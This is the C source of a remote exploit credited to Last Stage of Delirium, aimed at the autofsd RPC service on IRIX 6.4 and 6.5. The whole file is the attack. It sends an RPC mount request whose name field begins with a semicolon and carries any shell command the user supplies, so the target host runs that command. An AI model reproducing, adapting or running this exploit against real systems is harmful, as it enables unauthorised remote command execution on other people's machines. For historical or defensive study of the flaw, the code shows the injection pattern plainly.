/*## copyright LAST STAGE OF DELIRIUM aug 1999 poland        *://lsd-pl.net/ #*/
/*## autofsd                                                                 #*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

#define AUTOFSD_PROG 100099
#define AUTOFSD_VERS 1
#define AUTOFSD_MOUNT 1

#define MAXNAME 255
#define MAXOPTS 255
#define MAXPATH 1024

typedef struct{char *name;char *map;char *opts;char *path;}req_t;
typedef struct{int status;}res_t;

bool_t xdr_req(XDR *xdrs,req_t *objp){
    if(!xdr_string(xdrs,&objp->name,MAXNAME)) return(FALSE);
    if(!xdr_string(xdrs,&objp->map,MAXNAME)) return(FALSE);
    if(!xdr_string(xdrs,&objp->opts,MAXOPTS)) return(FALSE);
    if(!xdr_string(xdrs,&objp->path,MAXPATH)) return(FALSE);
    return(TRUE);
}

bool_t xdr_res(XDR *xdrs,res_t *objp){
    if(!xdr_int(xdrs,&objp->status)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char command[10000];
    int i;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;
    res_t res;

    printf("copyright LAST STAGE OF DELIRIUM aug 1999 poland  //lsd-pl.net/\n");
    printf("autofsd for irix 6.4 6.5 IP:all\n\n");

    if(argc!=3){
        printf("usage: %s address \"command\"\n",argv[0]);
        exit(-1);
    }

    adr.sin_family=AF_INET;    
    adr.sin_port=0;    
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sprintf(command,";%s",argv[2]);

    req.path=(char*)strdup("path");
    req.map=(char*)strdup("/bin/id");
    req.name=command;
    req.opts=(char*)strdup("opts");

    i=RPC_ANYSOCK;
    if(!(cl=clntudp_create(&adr,AUTOFSD_PROG,AUTOFSD_VERS,tm,&i))){
        clnt_pcreateerror("error");exit(-1);
    }
    stat=clnt_call(cl,AUTOFSD_MOUNT,xdr_req,&req,xdr_res,&res,tm);
    if(stat!=RPC_SUCCESS) clnt_perror(cl,"error"); 
    else printf("res=%d\n",res.status);
    clnt_destroy(cl);
}
/*                    www.hack.co.za           [12 August 2000]*/